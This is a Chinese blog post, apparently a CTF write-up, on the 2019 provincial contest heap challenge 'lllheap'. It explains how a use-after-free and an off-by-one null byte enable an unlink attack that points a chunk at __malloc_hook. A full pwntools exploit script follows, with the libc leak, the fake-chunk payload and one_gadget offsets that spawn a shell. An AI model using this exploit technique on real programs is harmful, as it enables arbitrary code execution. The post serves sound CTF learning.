欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

2019 省赛lllheap unlink解法总结

程序员文章站 2022-03-27 20:42:52
...

在free函数时有个明显的UAF漏洞
2019 省赛lllheap unlink解法总结
但是麻烦的是程序限制了创建的chunk的大小只能是0x100或0x150, 所以无法通过fastbin attack之类的方法来解题
但是可以利用unlink来构造fake chunk的地址为__malloc_hook的地址, 从而写入one_gadget来getshell

具体分析:
如果只存在一个UAF漏洞应该是无法利用unlink解题的(也许还有别的方法, 我太菜了想不出来, 这题还存在一个逻辑漏洞
2019 省赛lllheap unlink解法总结
如果输入chunk的data大小为0x100的话, 那么下一个chunk的prev_size 的低位字节会被置为零, 所以可以在上一个chunk伪造fake_chunk来触发unlink从而改变bss段中的chunk地址为__malloc_hook, 之后写入one_gadget来getshell
2019 省赛lllheap unlink解法总结
2019 省赛lllheap unlink解法总结
EXP:

# --- coding: UTF-8 ---

from pwn import *
import sys
import os

context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
#context(arch='i386', os='linux', terminal=['tmux', 'splitw', -h'])
context.log_level='debug'
debug = 1
d = 1

def pwn():
	execve = "./lllheap"
	if debug == 1:
		p = process(execve)
		if d == 1:
			gdb.attach(p)
	else:
		#ip = "10.0.%s.140" % sys.argv[1]
		ip = "1.1.5.100"
		#host = ""
		host = 10000
		p = remote(ip, host)
	
	def add(size):
		p.sendlineafter("choice:", str(1))
		p.sendlineafter("size:", str(size))
		
	def show(idx):
		p.sendlineafter("choice:", str(2))
		p.sendlineafter("index:", str(idx))

	def edit(idx, content):
		p.sendlineafter("choice:", str(3))
		p.sendlineafter("index:", str(idx))
		p.sendlineafter("content:", content)
	
	def free(idx):
		p.sendlineafter("choice:", str(4))
		p.sendlineafter("index:", str(idx))
	
	add(0x100) #0
	add(0x100) #1
	add(0x100) #2
	
	free(1)
	show(1)
	libc = ELF("lll_libc.so.6")
	leak = u64(p.recvline()[:6].ljust(8, '\x00'))
	libc_base = leak - 0x3c4b78
	malloc_hook = libc_base + libc.symbols['__malloc_hook']
	one_gadget = [libc_base+0x45216, libc_base+0x4526a, libc_base+0xf1147, libc_base+0xf02a4]
	print "libc_base -> " + hex(libc_base)

	fake_addr = 0x602070
	payload = p64(0) + p64(0x101) + p64(fake_addr - 0x18) + p64(fake_addr - 0x10) + 'a'*(0x100 - 32)
	edit(1, payload)
	
	#unlink
	free(2)
	payload = p64(0) + p64(malloc_hook)
	edit(1, payload)
	
	edit(0, p64(one_gadget[2]))
	add(0x100)
	
	p.interactive()	

if __name__ == '__main__':
	pwn()

result
2019 省赛lllheap unlink解法总结

相关标签: PWN